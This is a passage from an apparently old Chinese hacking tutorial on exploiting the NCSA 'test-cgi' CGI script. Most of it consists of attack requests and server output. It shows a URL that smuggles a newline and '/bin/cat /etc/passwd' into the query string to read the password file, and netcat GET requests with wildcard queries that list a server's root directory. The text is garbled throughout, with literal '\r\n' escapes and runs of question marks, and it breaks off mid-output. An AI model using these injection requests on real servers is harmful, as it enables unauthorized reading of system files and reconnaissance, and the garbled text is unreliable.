CGI漏洞的利用2

kkzz99

FACE = CGI/1.1 \r\n???????? SERVER_PROTOCOL = HTTP/1.0 \r\n???????? SERVER_PORT = 80 \r\n???????? REQUEST_METHOD = GET \r\n???????? HTTP_ACCEPT = text/plain, application/x-html, \r\n???????? application/html, \r\n???????? text/html, text/x-html \r\n???????? PATH_INFO = \r\n???????? PATH_TRANSLATED = \r\n???????? SCRIPT_NAME = /cgi-bin/test-cgi \r\n???????? QUERY_STRING = whatever \r\n???????? REMOTE_HOST = fifth.column.gov \r\n???????? REMOTE_ADDR = 200.200.200.200 \r\n???????? REMOTE_USER = \r\n???????? AUTH_TYPE = \r\n???????? CONTENT_TYPE = \r\n???????? CONTENT_LENGTH = \r\n\r\n???????? 再来一次，这样输入： \r\n\r\n???????? http://thegnome.com/cgi-bin/test-cgi?＼help&0a/bin/cat%20/etc/passwd \r\n\r\n\r\n???????? 看到PASSWD了？ \r\n\r\n???????? 用netcat 80 端口 进行攻击： \r\n\r\n???????? machine% echo \"GET /cgi-bin/test-cgi?/*\" nc removed.name.com \r\n???????? 80 \r\n\r\n???????? 返回： \r\n\r\n???????? CGI/1.0 test script report: \r\n\r\n???????? argc is 1. argv is /＼*. \r\n\r\n???????? SERVER_SOFTWARE = NCSA/1.4.1 \r\n???????? SERVER_NAME = removed.name.com \r\n???????? GATEWAY_INTERFACE = CGI/1.1 \r\n???????? SERVER_PROTOCOL = HTTP/0.9 \r\n???????? SERVER_PORT = 80 \r\n???????? REQUEST_METHOD = GET \r\n???????? HTTP_ACCEPT = \r\n???????? PATH_INFO = \r\n???????? PATH_TRANSLATED = \r\n???????? SCRIPT_NAME = /bin/cgi-bin/test-cgi \r\n???????? QUERY_STRING = /a /bin /boot /bsd /cdrom /dev /etc /home /lib \r\n???????? /mnt \r\n???????? /root /sbin /stand /sys /tmp /usr /usr2 /var \r\n???????? REMOTE_HOST = remote.machine.com \r\n???????? REMOTE_ADDR = 255.255.255.255 \r\n???????? REMOTE_USER = \r\n???????? AUTH_TYPE = \r\n???????? CONTENT_TYPE = \r\n???????? CONTENT_LENGTH = \r\n\r\n???????? 显示出了根目录！这样试试： \r\n\r\n???????? machine% echo \"GET /cgi-bin/test-cgi?*\" nc removed.name.com 80 \r\n\r\n\r\n???????? 返回： \r\n\r\n???????? CGI/1.0 test script report: \r\n\r\n???????? argc is 1. argv is ＼*. \r\n\r\n???????? SERVER_SOFTWARE = NCSA/1.4.1 \r\n???????? SERVER_NAME = removed.name.com \r\n???????? GATEWAY_INTERFACE = CGI/1.1 \r\n???????? SERVER_PROTOCOL = HTTP/0.9 \r\n???????? SERVER_PORT = 80 \r\n???????? REQUEST_METHOD = GET \r\n???????? HTTP_ACCEPT = \r\n???????? PATH_INFO = \r\n???????? PATH_TRANSLATED = \r\n???????? SCRIP